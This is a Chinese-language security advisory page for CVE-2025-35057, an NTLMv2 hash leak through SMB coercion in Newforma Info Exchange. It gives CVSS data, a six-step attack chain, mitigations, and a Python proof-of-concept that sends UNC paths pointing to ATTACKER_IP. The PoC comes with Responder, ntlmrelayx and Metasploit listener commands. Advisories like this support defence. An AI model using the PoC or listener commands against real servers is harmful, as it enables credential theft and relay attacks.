IPBUF安全漏洞报告
English
CVE-2025-35057 CVSS 5.3 中危

CVE-2025-35057:Newforma Info Exchange NTLMv2哈希泄露漏洞

披露日期: 2025-10-09
来源: 9119a7d8-5eab-497f-8521-727c672e3725

漏洞信息

漏洞编号
CVE-2025-35057
漏洞类型
NTLMv2哈希泄露/SMB连接强制
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Newforma Info Exchange (NIX)

相关标签

CVE-2025-35057NTLMv2哈希泄露SMB连接强制Newforma Info ExchangeNIX凭据泄露NTLM中继中危漏洞CISA KEV建筑行业软件

漏洞概述

CVE-2025-35057是Newforma Info Exchange(NIX)产品中存在的一个中危安全漏洞。该漏洞存在于NIX的Web接口路径'/RemoteWeb/IntegrationServices.ashx'中,允许远程未经身份验证的攻击者利用该接口触发NIX服务向攻击者控制的系统发起SMB(Server Message Block)连接请求。当NIX服务尝试与远程系统建立SMB连接时,系统会自动使用当前服务账户的凭据进行NTLMv2身份验证,攻击者可以在其控制的SMB服务器上捕获该NTLMv2哈希值。该漏洞的CVSS 3.1评分为5.3分,属于中危级别。攻击向量为网络攻击(AV:N),攻击复杂度较高(AC:H),需要低权限(PR:L),无需用户交互(UI:N)。该漏洞主要影响系统的机密性(C:H),对完整性和可用性无影响。值得注意的是,该漏洞已被CISA(美国网络安全和基础设施安全局)收录在已知被利用漏洞目录中,表明该漏洞已存在实际利用行为,对相关企业用户构成实质性安全威胁。

技术细节

Newforma Info Exchange(NIX)是一款用于建筑和工程行业的项目协作和信息交换平台。该漏洞的核心问题在于'/RemoteWeb/IntegrationServices.ashx'端点未对用户提供或处理的远程服务器地址进行充分验证和过滤。

技术原理:
1. IntegrationServices.ashx端点接受来自客户端的请求参数,其中可能包含远程服务器地址或文件路径信息;
2. 攻击者通过精心构造的请求,将远程服务器地址指向攻击者控制的SMB服务器(如使用UNC路径\\attacker-ip\share形式);
3. 当NIX服务处理该请求时,会尝试通过SMB协议访问攻击者指定的远程路径;
4. 在SMB连接建立过程中,Windows系统会自动使用当前运行服务的账户凭据进行NTLMv2身份验证;
5. 攻击者在其控制的SMB服务器(如使用Responder、Impacket的ntlmrelayx等工具)上捕获包含服务账户NTLMv2哈希的认证请求;
6. 获取的哈希可用于离线破解(获取明文密码)或NTLM中继攻击(Relay Attack)。

利用条件:
- 攻击者需要能够访问目标NIX服务器的Web接口(默认路径为/RemoteWeb/IntegrationServices.ashx);
- 攻击者控制的SMB服务器需要能够被目标NIX服务器访问;
- 攻击者需要具备低权限(PR:L),可能需要有效的低权限账户或能够访问受限网络区域。

攻击链分析

STEP 1
步骤1:环境准备
攻击者在其控制的服务器上部署SMB监听工具(如Responder、Impacket-ntlmrelayx或Metasploit的smb捕获模块),用于接收并捕获NTLMv2认证请求。
STEP 2
步骤2:目标侦察
攻击者识别目标组织的Newforma Info Exchange服务器,确认/RemoteWeb/IntegrationServices.ashx端点可访问,并验证网络连通性。
STEP 3
步骤3:构造恶意请求
攻击者构造包含攻击者控制的UNC路径(如\\\\attacker-ip\\share)的HTTP请求,发送到IntegrationServices.ashx端点。
STEP 4
步骤4:触发SMB连接
NIX服务处理请求时,根据传入的路径参数尝试通过SMB协议访问远程资源,向攻击者控制的服务器发起SMB连接。
STEP 5
步骤5:捕获NTLMv2哈希
攻击者的SMB监听服务器接收连接请求,捕获包含NIX服务账户NTLMv2哈希的认证数据包。
STEP 6
步骤6:哈希利用
攻击者使用离线工具(如Hashcat、John the Ripper)对捕获的NTLMv2哈希进行密码破解,或执行NTLM中继攻击以访问其他内部系统资源。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-35057 - Newforma Info Exchange NTLMv2 Hash Disclosure PoC # Exploit: SMB connection coercion to capture NTLMv2 hash # Author: Security Researcher import requests import sys import argparse from urllib.parse import quote # Configuration TARGET_URL = "http://target-nix-server/RemoteWeb/IntegrationServices.ashx" ATTACKER_SMB_SERVER = "\\\\ATTACKER_IP\\share" # UNC path pointing to attacker's SMB server LISTENER_PORT = 445 # SMB port def exploit(target_url, attacker_smb): """ Send a crafted request to IntegrationServices.ashx to force NIX to initiate an SMB connection to the attacker-controlled server. """ # Craft the payload - the vulnerable parameter accepts a remote path/URL # which NIX will attempt to access via SMB payload = { # The exact parameter name may vary; common parameters include: "serverUrl": attacker_smb, "remotePath": attacker_smb, "integrationUrl": attacker_smb, "filePath": attacker_smb, # Additional parameters that may be required "action": "connect", "method": "validate" } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/x-www-form-urlencoded", "Accept": "*/*" } try: print(f"[*] Target: {target_url}") print(f"[*] Attacker SMB Server: {attacker_smb}") print(f"[*] Sending malicious request...") # Send the request - NIX will attempt SMB connection to attacker server response = requests.post( target_url, data=payload, headers=headers, timeout=30, allow_redirects=False ) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Length: {len(response.text)}") print(f"[+] Request sent successfully!") print(f"[+] Check your SMB listener (e.g., Responder) for NTLMv2 hash capture") return True except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def start_listener(): """ Instructions to start an SMB listener to capture NTLMv2 hashes. Recommended tools: Responder, Impacket """ print(""" [*] To capture the NTLMv2 hash, start one of these listeners on your server: Option 1 - Responder: sudo responder -I eth0 -wrf Option 2 - Impacket: sudo impacket-ntlmrelayx -smb2support -t smb://target Option 3 - Metasploit auxiliary: use auxiliary/server/capture/smb set SRVHOST ATTACKER_IP run """) if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2025-35057 PoC - NIX NTLMv2 Hash Disclosure") parser.add_argument("-u", "--url", default=TARGET_URL, help="Target NIX IntegrationServices.ashx URL") parser.add_argument("-s", "--smb", default=ATTACKER_SMB_SERVER, help="Attacker SMB UNC path") parser.add_argument("--listener", action="store_true", help="Show listener setup instructions") args = parser.parse_args() if args.listener: start_listener() else: exploit(args.url, args.smb)

影响范围

Newforma Info Exchange (NIX) - 所有未修复的受影响版本

防御指南

临时缓解措施
在无法立即应用补丁的情况下,建议采取以下临时缓解措施:1)在网络防火墙和主机防火墙层面阻止NIX服务器主动向外发起SMB连接(特别是出站TCP 445端口);2)启用SMB签名(RequireSecuritySignature=1)以防止NTLM中继攻击;3)通过组策略将NTLM认证限制为仅在必要的内部服务器之间进行;4)监控并告警异常的出站SMB连接和NTLM认证事件;5)将NIX服务账户的密码重置为高强度密码,降低哈希被破解的风险;6)考虑使用LDAPS或基于证书的认证替代NTLM认证。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表